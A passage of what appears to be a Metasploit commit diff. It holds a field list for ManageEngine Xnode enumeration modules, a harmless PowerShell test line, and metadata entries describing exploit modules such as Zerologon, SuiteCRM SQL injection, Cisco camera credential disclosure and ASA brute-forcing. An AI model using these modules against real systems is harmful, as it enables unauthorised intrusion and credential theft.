- CLIENT_LOGIN_ID
- DOMAIN
# - RESTRICTED_SID_COUNT
# - ACCESSES
# - PROCESS_ID
# - PRIVILEGES_USED
# - PRIVILEGES
# - PROCESS_NAME
# - NEW_SEC_DESC
# - ORIGINAL_SEC_DESC
# - NEW_PERMISSIONS
# - ORIGINAL_PERMISSIONS
# - ACL_CHANGE
# - TRANSACTION_ID
# - ACCESS_MASK
- USERNAME
# - RECORD_NUMBER
- USER_SID
# - ACCESS_TYPE
# - ACCESS_TYPE_TEXT
# - FORMAT_MESSAGE
- USER_SAM_ACCOUNT_NAME
- USER_DISPLAY_NAME
- USER_PRINCIPAL_NAME
- USER_GUID
- USER_DISTINGUISH_NAME
- USER_OU_GUID
- USER_DEPARTMENT
- USER_MANAGER_NAME
- SOURCE_NAME
# - LOG_FILE_NAME
# - KEYWORDS_NAME
# - TASK_CATEGORY_NAME
# - TASK_CATEGORY_ID
# - FILE_TYPE
- SHARE_NAME
# - EXTRA_COLUMN1
# - EXTRA_COLUMN2
# - EXTRA_COLUMN3
# - EXTRA_COLUMN4
# - EXTRA_COLUMN5
# - EXTRA_COLUMN6
# - EXTRA_COLUMN7
# - EXTRA_COLUMN8
# - EXTRA_COLUMN9
# - EXTRA_COLUMN10
- CONFIGURED_DOMAIN_NAME
# - NEW_PRIVILEGES_USED
AdapPowershellAuditLog:
- UNIQUE_ID
# - COMMAND_NAME
# - COMMAND_PATH
# - COMMAND_TYPE
# - COMMAND_INVOCATION
- EVENT_MACHINE_NAME
- EVENT_MACHINE_DOMAIN
# - EVENT_CATEGORY
# - EVENT_NUMBER
# - EVENT_TYPE
# - HOST_APPLICATION
- HOST_NAME
# - SCRIPTBLOCK_ID
# - RECORD_NUMBER
# - SCRIPT_NAME
# - SCRIPT_DATA
# - SCRIPT_SNO
# - SEVERITY
# - TIME_GENERATED
- CALLER_USER_NAME
- CALLER_USER_SID
# - TOTAL_NO
# - MONITOR_ID
# - EVENT_TYPE_TEXT
# - FORMAT_MESSAGE
# - SCRIPT_DATA_JSON
AdapSysmonAuditLog:
- UNIQUE_ID
# - MONITOR_ID
- TIME_GENERATED
# - RECORD_NUMBER
# - EVENT_NUMBER
# - EVENT_TYPE
# - EVENT_TYPE_TEXT
- EVENT_MACHINE_NAME
- EVENT_MACHINE_DOMAIN
# - REMARKS
# - FORMAT_MESSAGE
- CALLER_USER_SID
- CALLER_USER_NAME
- CALLER_USER_DOMAIN
- CALLER_USER_LOGON_ID
- CLIENT_MACHINE_IPADDRESS
- CLIENT_MACHINE_NAME
- CLIENT_MACHINE_DOMAIN
- CALLER_USER_DN
- CALLER_USER_OU_GUID
- CALLER_USER_DISPLAY_NAME
- PROCESS_NAME
- PARENT_PROCESS_NAME
# - PROCESS_ID
# - FILE_NAME
# - INTEGRITY_LEVEL
# - QUERY_STRING
# - PARENT_PROCESS_ID
# - PARENT_CMD_LINE
# - QUERY_STATUS
# - ACCESS_TYPE_TEXT
# - ACCESS_TIME
# - CREATION_TIME
# - PREVIOUS_CREATION_TIME
# - PROCESS_GUID
# - RULE_NAME
# - LOADED_FILE
# - HASHED_VALUE
# - FOLDER_PATH
# - PARENT_PROCESS_GUID
# - SESSION_ID
# - IS_SIGNED
# - SIGNATURE
# - SIGNATURE_STATUS
# - IS_ARCHIVED
# - THREAD_ID
- SOURCE_IP_ADDRESS
# - PRODUCT_DESCRIPTION
- DESTINATION_IP_ADDRESS
- DESTINATION_HOST_NAME
# - PORT_NUMBER
# - PARENT_PORT_NUMBER
# - REGISTRY_NAME
# - QUERY_RESULT
# - SCHEMA_VERSION
# - WORKING_DIRECTORY
- COMPANY_NAME
- SOURCE_HOST_NAME
- CALLER_USER_LOGON_GUID
# - PARENT_PORT_NAME
# - SERVICE_VERSION
# - FILE_VERSION
# - PRODUCT_NAME
# - PORT_NAME
AdapDNSAuditLog:
- UNIQUE_ID
# - MONITOR_ID
# - EVENT_NUMBER
- TIME_GENERATED
# - EVENT_TYPE
# - EVENT_TYPE_TEXT
- EVENT_MACHINE_NAME
- EVENT_MACHINE_DOMAIN
# - REMARKS
# - DNS_SETTING
# - LOOKUP
# - DNS_SCOPE
# - DNS_OBJECT_GUID
# - DISTINATION_ZONE
# - OLD_DIRECTORY_PARTITION
# - USER_ACTION
- CALLER_USER_DOMAIN
- CALLER_USER_NAME
- CLIENT_MACHINE_DOMAIN
- CALLER_USER_LOGON_ID
# - DNS_QUERY_NAME
# - OBJECT_CLASS_TEXT
# - DNS_SETTING_NAME
- DISTINGUISHED_NAME
# - OBJECT_GUID
# - DNS_ZONE_NAME
# # - REGISTRY_VALUE
# - FORMAT_MESSAGE
# - RECORD_NUMBER
- CALLER_USER_SID
# - DNS_SETTING_VALUE
# - CORRELATION_ID
# - ATTRIBUTES_NEW_VALUE
# - ATTRIBUTES_OLD_VALUE
# - TTL_VALUE
# - DNS_MGMT_TYPE
# - DNS_ZONE_TYPE
# - DNS_ZONE_TYPE_STRING
- CALLER_USER_DISPLAY_NAME
- CALLER_USER_DN
- CALLER_USER_OU_GUID
- CALLER_USER_GUID
# - OP_APPLN_CORRELATION_ID
# - OP_TREE_DELETE
# - DIRECTORY_PARTITION
# - ROOT_CAUSE
# - FILE_NAME
# - VIRTUALIZATION_INSTANCE
# - ERROR_CODE_TEXT
# - DNS_RESPONSE_DATA
- DNS_SERVER_NAME
# - LINE_NUMBER
- CLIENT_MACHINE_IPADDRESS
- CLIENT_MACHINE_NAME
# - NEXT_SCAVENGE_SCHEDULE
# - RECORD_NAME
# - RUNNING_TIME
# - TIME_OUT
# - DNS_NODE
# - DNS_ZONE_FILE
- FOREST_NAME
# - SCAVENGED_NODES
# - SCAVENGED_PERC
# - SCAVENGED_RECORDS
# - SERVICE_NAMES
# - SLEEPING_TIME
# - VISITED_NODES
# - VISITED_ZONES
AdapADReplicationAuditLog:
- UNIQUE_ID
# - MONITOR_ID
- TIME_GENERATED
# - RECORD_NUMBER
- EVENT_MACHINE_NAME
- EVENT_MACHINE_DOMAIN
# - EVENT_NUMBER
# - EVENT_TYPE
# - EVENT_TYPE_TEXT
# - FORMAT_MESSAGE
# - REMARKS
- CALLER_USER_DOMAIN
- CALLER_USER_NAME
- CALLER_USER_SID
- CALLER_USER_DN
- CALLER_USER_OU_GUID
- CALLER_USER_DISPLAY_NAME
- CALLER_USER_LOGON_ID
- CALLER_USER_GUID
- CLIENT_MACHINE_IPADDRESS
- CLIENT_MACHINE_NAME
- CLIENT_MACHINE_DOMAIN
# - ALTERNATE_USER_ACTION
# - DIRECTORY_PARTITION
# - ERROR_CODE
# - ERROR_CODE_TEXT
# - EXTENDED_REQUEST_CODE
# - FAILING_DNS_HOST
# - HIGHEST_USN
# - INTERSITE_TRANSPORT
# - LAST_REPLICATION_DATE
# - OBJECT_GUID
# - OBJECT_NAME
# - COMMON_NAME_PATH
# - OPERATION
# - REASON
- REGISTRY_KEY
# - REMOVE_LINGERING_OBJECTS
# - SECONDARY_ERROR_VALUE
- SERVICE_PRINCIPAL_NAME
- SITE_NAME
- SOURCE_DIRECTORY_SERVICE
- SOURCE_DS_DOMAIN_NAME
- SOURCE_DS_GUID
- SOURCE_DS_NAME
- SOURCE_DS_STARTING_ID
# - THREAD_ID
# - TIMEOUT_PERIOD
# - TOMBSTONE_LIFE_TIME
# - TRANSPORT_NAME
# - USER_ACTION
# - ATTRIBUTES_NAME
# - ATTRIBUTES_VALUE
# - SOURCE_DRA
# - DESTINATION_DRA
# - DESTINATION_DS_NAME
# - DRS_OPTIONS
# - REPL_EVENT_COUNT
# - REPL_STATUS_CODE
# - SESSION_ID
# - START_USN
# - END_USN
# - TYPE_OF_CHANGE
@@ -0,0 +1,259 @@
---
DSPEmailAuditReport:
- UNIQUE_ID
- TIME_GENERATED
# - COMPLETION_TIME
# - SOURCE_ID
# - ENDPOINT_ID
- ENDPOINT_NAME
- USER_SID
- USER_NAME
# - ATTACHMENT_ID
# - ACCESS_TYPE
# - ACCESS_TYPE_MESSAGE
# - PROCESS_NAME
- MAIL_FROM
- MAIL_TO
- MAIL_BCC
- MAIL_CC
# - MAIL_SUBJECT
# - MAIL_SENT_TIME
# - MAIL_CLASSFICATION_VALUE
# - MAIL_CLASSFICATION
# - PROFILE_ID
- PROFILE_NAME
# - PROFILETYPE_ID
# - PROFILETYPE_NAME
DSPEndpointAuditReport:
- UNIQUE_ID
- TIME_GENERATED
# - COMPLETION_TIME
# - ENDPOINT_ID
- ENDPOINT_NAME
# - SOURCE_ID
- USER_SID
- USERNAME
# - PROCESS_ID
# - LAST_ACCESS_TIME
# - LAST_WRITE_TIME
# - CREATION_TIME
# - FILE_ATTRIBUTES
# - UNC_NAME
# - LOCATION
# - MESSAGE
# - FILE_FOLDER_NAME
# - NEW_FILE_NAME
# - IMAGE_FILE_NAME
# - OLD_SHARE_PATH
# - NEW_SHARE_PATH
# - SHARE_ID
# - IS_SUCCESS_EVENT
# - IS_DIRECTORY
# - IS_TRANSACTION
# - ACTION_ID
# - ACCESS_MASK
# - THREAD_ID
# - CALLBACK_MAJOR_ID
# - CALLBACK_MINOR_ID
# - PROFILE_ID
# - USER_ID
# - OLD_SACL
# - NEW_SACL
# - DIFF_SACL
# - FILE_SIZE
- CLIENT_IP
- CLIENT_HOST
- OWNER_INFO
# - OTHERINFO_1
# - OTHERINFO_2
# - IS_SENSITIVE_DATA
# - FILETYPE_EXTENSION
# - FILETYPE_CATEGORY
# - ACCESS_FROM
# - EVENT_GENERATED_BY
# - LOGIN_ID
- LOGIN_NAME
- OWNER_SID
# - IS_USB_EVENT
# - IS_NETWORK_COPY
# - LAST_KNOWN_COPY
# - PROFILETYPE_ID
# - PROFILETYPE_NAME
DSPEndpointClassificationReport:
- UNIQUE_ID
- TIME_GENERATED
# - COMPLETION_TIME
# - SOURCE_ID
# - ENDPOINT_ID
- ENDPOINT_NAME
- USER_SID
- USER_NAME
# - CLASSIFICATION_ID
# - CLASSIFICATION_VALUE
# - CLASSIFICATION_MSG
# - LOCAL_PATH
# - FILE_FOLDER_NAME
# - LAST_ACCESS_TIME
# - LAST_WRITE_TIME
# - CREATION_TIME
# - FILE_ATTRIBUTES
- FILE_OWNER
- OWNER_SID
# - FILE_SIZE
# - FILETYPE_EXTENSION
# - IS_HIDDEN
# - MEDIA_FILE
# - FILETYPE_EXTENSION_CATEGORY
DSPEndpointIncidentReport:
- INCIDENT_ID
- SOURCE
# - MODULE_NAME
# - INCIDENT_TIME
# - COMPLETION_TIME
- TIME_GENERATED
# - MESSAGE
# - LOCATION
# - ENDPOINT_ID
# - INCIDENT_STATUS
# - VIOLATED_POLICY
# - DOMAIN_ID
- ENDPOINT_NAME
- USERNAME
# - USER_ID
# - LAST_ACCESS_TIME
# - LAST_WRITE_TIME
# - FILE_SIZE
# - CREATION_TIME
# - REPORT_GENERATION_ID
# - NEW_FILE_NAME
# - IMAGE_FILE_NAME
# - FILE_FOLDER_NAME
- USER_SID
# - FILETYPE_EXTENSION
# - IS_USB_EVENT
- NOTIFY_NAME
- MAIL_FROM
- MAIL_TO
- MAIL_BCC
- MAIL_CC
# - MAIL_SUBJECT
# - MAIL_SENT_TIME
# - MAIL_CLASSFICATION
# - PRINTER_NAME
# - FILENAME
# - PORT_NAME
- MACHINE_NAME
- PRINTER_USERNAME
# - TOTAL_PAGES
- CLIENTIPLIST
- URL
# - CLASSIFICATION_VALUE
# - INCIDENT_PROFILE_ID
# - INCIDENT_PROFILE_NAME
# - INCIDENT_SEVERITY
# - PROFILETYPE_ID
# - PROFILETYPE_NAME
# - IS_NETWORK_COPY
# - LAST_KNOWN_COPY
- CLIENT_HOST
DspEndpointPrinterAuditReport:
- UNIQUE_ID
- TIME_GENERATED
# - COMPLETION_TIME
# - SOURCE_ID
# - ENDPOINT_ID
- ENDPOINT_NAME
- USER_SID
- USER_NAME
# - PRINTER_NAME
# - FILENAME
# - LOCAL_PATH
# - PORT_NAME
- MACHINE_NAME
- PRINTER_USERNAME
- NOTIFY_NAME
# - TOTAL_PAGES
# - FILE_SIZE
# - CREATION_TIME
- CLIENTIPLIST
# - PROFILE_ID
- PROFILE_NAME
# - PROFILETYPE_ID
# - PROFILETYPE_NAME
DspEndpointWebAuditReport:
- UNIQUE_ID
- TIME_GENERATED
# - SOURCE_ID
# - ENDPOINT_ID
- ENDPOINT_NAME
- USER_SID
- USER_NAME
# - NEW_FILE_NAME
# - FILE_SIZE
# - FILETYPE_EXTENSION
# - PROCESS_NAME
# - MESSAGE
# - URL
- CLIENT_IP
# - PROFILE_ID
- PROFILE_NAME
DSPFileAnalysisAlerts:
- INCIDENT_ID
# - VIOLATED_PROFILE
# - SERVER_ID
# - DRIVE_LETTER
# - SOURCE_ID
- TIME_GENERATED
# - SECURITY_ID
- SERVERNAME
# - FILE_ATTRIBUTES
# - LAST_ACCESS_TIME
# - LAST_WRITE_TIME
# - FILE_SIZE
# - CREATION_TIME
# - REPORT_GENERATION_ID
# - YEAR_CREATED
# - FILE_FOLDER_NAME
# - LOCAL_PATH
# - FILETYPE_EXTENSION
# - IS_HIDDEN
# - IS_DIRECTORY
# - IS_STALE
# - NON_BUSINESS_FILE
# - FILETYPE_EXTENSION_CATEGORY
RAAlertHistory:
- INCIDENT_ID
# - FILE_NAME
# - FILE_TYPE
# - LOCATION
- SERVER_NAME
# - POLICY_ID
# - POLICY_NAME
- TIME_GENERATED
# - NO_OF_OCCURRENCES
- FILE_OWNER
# - DATA_SOURCE
# - RISK_SCORE
# - ENTITY_ID
RAIncidents:
- INCIDENT_ID
# - FILE_NAME
# - FILE_TYPE
# - LOCATION
- SERVER_NAME
# - POLICY_ID
# - POLICY_NAME
- TIME_GENERATED
# - NO_OF_OCCURRENCES
- FILE_OWNER
# - DATA_SOURCE
# - RAISED_INCIDENT
# - SOURCE_ID
# - RISK_SCORE
# - VIOLATION_SCORE
# - POLICY_SCORE
# - PERMISSION_SCORE
# - AUDIT_SCORE
# - USER_SCORE
# - SCORE_DESCRIPTION
# - ENTITY_ID
+2
View File
@@ -0,0 +1,2 @@
$someText = "Hello!" ; $someText > "C:\flag.txt"
+4614 -77
View File
@@ -570,7 +570,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2021-02-16 13:56:50 +0000",
"mod_time": "2022-08-03 14:27:30 +0000",
"path": "/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/cve_2020_1472_zerologon",
@@ -580,6 +580,66 @@
"notes": {
"AKA": [
"Zerologon"
],
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
"config-changes",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/dcerpc/icpr_cert": {
"name": "ICPR Certificate Management",
"fullname": "auxiliary/admin/dcerpc/icpr_cert",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Oliver Lyak",
"Spencer McIntyre"
],
"description": "Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate\n template's configuration the resulting certificate can be used for various operations such as authentication.\n PFX certificate files that are saved are encrypted with a blank password.",
"references": [
],
"platform": "",
"arch": "",
"rport": 445,
"autofilter_ports": [
139,
445
],
"autofilter_services": [
"netbios-ssn",
"microsoft-ds"
],
"targets": null,
"mod_time": "2022-08-25 08:49:52 +0000",
"path": "/modules/auxiliary/admin/dcerpc/icpr_cert.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/icpr_cert",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
],
"Stability": [
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
@@ -17166,6 +17226,65 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/cisco_pvc2300_download_config": {
"name": "Cisco PVC2300 POE Video Camera configuration download",
"fullname": "auxiliary/gather/cisco_pvc2300_download_config",
"aliases": [
],
"rank": 300,
"disclosure_date": "2013-07-12",
"type": "auxiliary",
"author": [
"Craig Heffner",
"Erik Wynter"
],
"description": "This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order\n to download the configuration file containing the admin credentials for the web interface.\n\n The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the\n module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml\n endpoint using hardcoded credentials.\n\n If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml\n with the aim of downloading the configuration file. The configuration file, if obtained, is then\n decoded and saved to the loot directory. Finally, the module attempts to extract the admin\n credentials to the web interface from the decoded configuration file.\n\n No known solution was made available for this vulnerability and no CVE has been published. It is\n therefore likely that most (if not all) Cisco PVC2300 cameras are affected.\n\n This module was successfully tested against several Cisco PVC2300 cameras.",
"references": [
"URL-https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
"URL-https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
"URL-https://www.youtube.com/watch?v=B8DjTcANBx0"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-08-04 11:45:36 +0000",
"path": "/modules/auxiliary/gather/cisco_pvc2300_download_config.rb",
"is_install_path": true,
"ref_name": "gather/cisco_pvc2300_download_config",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/cisco_rv320_config": {
"name": "Cisco RV320/RV326 Configuration Disclosure",
"fullname": "auxiliary/gather/cisco_rv320_config",
@@ -19451,7 +19570,7 @@
],
"targets": null,
"mod_time": "2022-07-25 14:51:37 +0000",
"mod_time": "2022-08-30 16:59:30 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
@@ -19472,6 +19591,86 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/manageengine_adaudit_plus_xnode_enum": {
"name": "ManageEngine ADAudit Plus Xnode Enumeration",
"fullname": "auxiliary/gather/manageengine_adaudit_plus_xnode_enum",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Sahil Dhar",
"Erik Wynter"
],
"description": "This module exploits default admin credentials for the DataEngine\n Xnode server in ADAudit Plus versions prior to 6.0.3 (6032) in\n order to dump the contents of Xnode data repositories (tables),\n which may contain (a limited amount of) Active Directory\n information including domain names, host names, usernames and SIDs.\n This module can also be used against patched ADAudit Plus versions\n if the correct credentials are provided.\n\n By default, this module dumps only the data repositories and fields\n (columns) specified in the configuration file (set via the\n CONFIG_FILE option). The configuration file is also used to\n add labels to the values sent by Xnode in response to a query.\n\n It is also possible to use the DUMP_ALL option to obtain all data\n in all known data repositories without specifying data field names.\n However, note that when using the DUMP_ALL option, the data won't be labeled.\n\n This module has been successfully tested against ManageEngine\n ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2 and\n ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.",
"references": [
"CVE-2020-11532",
"PACKETSTORM-157609"
],
"platform": "",
"arch": "",
"rport": 29118,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-08-24 16:15:11 +0000",
"path": "/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.rb",
"is_install_path": true,
"ref_name": "gather/manageengine_adaudit_plus_xnode_enum",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/manageengine_datasecurity_plus_xnode_enum": {
"name": "ManageEngine DataSecurity Plus Xnode Enumeration",
"fullname": "auxiliary/gather/manageengine_datasecurity_plus_xnode_enum",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Sahil Dhar",
"Erik Wynter"
],
"description": "This module exploits default admin credentials for the DataEngine\n Xnode server in DataSecurity Plus versions prior to 6.0.1 (6011)\n in order to dump the contents of Xnode data repositories (tables),\n which may contain (a limited amount of) Active Directory\n information including domain names, host names, usernames and SIDs.\n This module can also be used against patched DataSecurity Plus\n versions if the correct credentials are provided.\n\n By default, this module dumps only the data repositories and fields\n (columns) specified in the configuration file (set via the\n CONFIG_FILE option). The configuration file is also used to\n add labels to the values sent by Xnode in response to a query.\n\n It is also possible to use the DUMP_ALL option to obtain all data\n in all known data repositories without specifying data field names.\n However, note that when using the DUMP_ALL option, the data won't be labeled.\n\n This module has been successfully tested against ManageEngine\n DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.",
"references": [
"CVE-2020-11532",
"PACKETSTORM-157609"
],
"platform": "",
"arch": "",
"rport": 29119,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-08-24 16:15:11 +0000",
"path": "/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.rb",
"is_install_path": true,
"ref_name": "gather/manageengine_datasecurity_plus_xnode_enum",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/mantisbt_admin_sqli": {
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
@@ -21090,6 +21289,65 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/suite_crm_export_sqli": {
"name": "SuiteCRM authenticated SQL injection in export functionality",
"fullname": "auxiliary/gather/suite_crm_export_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-05-24",
"type": "auxiliary",
"author": [
"Exodus Intelligence",
"jheysel-r7",
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
],
"description": "This module exploits an authenticated SQL injection in SuiteCRM in versions before 7.12.6. The vulnerability\n allows an authenticated attacker to send specially crafted requests to the export entry point of the application in order\n to retrieve all the usernames and their associated password from the database.",
"references": [
"URL-https://blog.exodusintel.com/2022/06/09/salesagility-suitecrm-export-request-sql-injection-vulnerability/",
"URL-https://docs.suitecrm.com/admin/releases/7.12.x/#_7_12_6"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-09-12 23:46:10 +0000",
"path": "/modules/auxiliary/gather/suite_crm_export_sqli.rb",
"is_install_path": true,
"ref_name": "gather/suite_crm_export_sqli",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/teamtalk_creds": {
"name": "TeamTalk Gather Credentials",
"fullname": "auxiliary/gather/teamtalk_creds",
@@ -25261,6 +25519,64 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cassandra_web_file_read": {
"name": "Cassandra Web File Read Vulnerability",
"fullname": "auxiliary/scanner/http/cassandra_web_file_read",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jeremy Brown",
"krastanoel"
],
"description": "This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web\n 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.\n This vulnerability occured due to the disabled Rack::Protection module",
"references": [
"URL-https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be",
"EDB-49362"
],
"platform": "",
"arch": "",
"rport": 3000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-08-03 19:21:42 +0000",
"path": "/modules/auxiliary/scanner/http/cassandra_web_file_read.rb",
"is_install_path": true,
"ref_name": "scanner/http/cassandra_web_file_read",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cert": {
"name": "HTTP SSL Certificate Checker",
"fullname": "auxiliary/scanner/http/cert",
@@ -25490,9 +25806,9 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cisco_asa_asdm": {
"name": "Cisco ASA ASDM Bruteforce Login Utility",
"fullname": "auxiliary/scanner/http/cisco_asa_asdm",
"auxiliary_scanner/http/cisco_asa_asdm_bruteforce": {
"name": "Cisco ASA ASDM Brute-force Login",
"fullname": "auxiliary/scanner/http/cisco_asa_asdm_bruteforce",
"aliases": [
],
@@ -25500,11 +25816,11 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jonathan Claudius <jclaudius@trustwave.com>"
"jbaines-r7"
],
"description": "This module scans for Cisco ASA ASDM web login portals and\n performs login brute force to identify valid credentials.",
"description": "This module scans for the Cisco ASA ASDM landing page and performs login brute-force\n to identify valid credentials.",
"references": [
"URL-https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html"
],
"platform": "",
"arch": "",
@@ -25525,14 +25841,80 @@
"https"
],
"targets": null,
"mod_time": "2021-01-28 10:35:25 +0000",
"path": "/modules/auxiliary/scanner/http/cisco_asa_asdm.rb",
"mod_time": "2022-08-16 06:31:25 +0000",
"path": "/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb",
"is_install_path": true,
"ref_name": "scanner/http/cisco_asa_asdm",
"ref_name": "scanner/http/cisco_asa_asdm_bruteforce",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cisco_asa_clientless_vpn": {
"name": "Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility",
"fullname": "auxiliary/scanner/http/cisco_asa_clientless_vpn",
"aliases": [
"auxiliary/scanner/http/cisco_asa_asdm"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jonathan Claudius <jclaudius@trustwave.com>",
"jbaines-r7"
],
"description": "This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and\n performs login brute-force to identify valid credentials.",
"references": [
"URL-https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-08-19 10:51:33 +0000",
"path": "/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.rb",
"is_install_path": true,
"ref_name": "scanner/http/cisco_asa_clientless_vpn",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
@@ -44439,6 +44821,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/scada/bacnet_l3": {
"name": "BACnet Scanner",
"fullname": "auxiliary/scanner/scada/bacnet_l3",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Paz <Paz @ SCADAfence>"
],
"description": "Discover BACnet devices by broadcasting Who-is message, then poll\n discovered devices for properties including model name,\n software version, firmware revision and description.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-08-01 15:11:57 +0000",
"path": "/modules/auxiliary/scanner/scada/bacnet_l3.rb",
"is_install_path": true,
"ref_name": "scanner/scada/bacnet_l3",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"unreliable-session"
],
"SideEffects": [
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/scada/digi_addp_reboot": {
"name": "Digi ADDP Remote Reboot Initiator",
"fullname": "auxiliary/scanner/scada/digi_addp_reboot",
@@ -47423,7 +47852,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-07-19 16:04:41 +0000",
"path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb",
"is_install_path": true,
"ref_name": "scanner/ssl/openssl_heartbleed",
@@ -49822,7 +50251,7 @@
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"mod_time": "2022-07-29 12:58:55 +0000",
"path": "/modules/auxiliary/server/capture/imap.rb",
"is_install_path": true,
"ref_name": "server/capture/imap",
@@ -56860,6 +57289,59 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/fileformat/unrar_cve_2022_30333": {
"name": "UnRAR Path Traversal (CVE-2022-30333)",
"fullname": "exploit/linux/fileformat/unrar_cve_2022_30333",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"Simon Scannell",
"Ron Bowes"
],
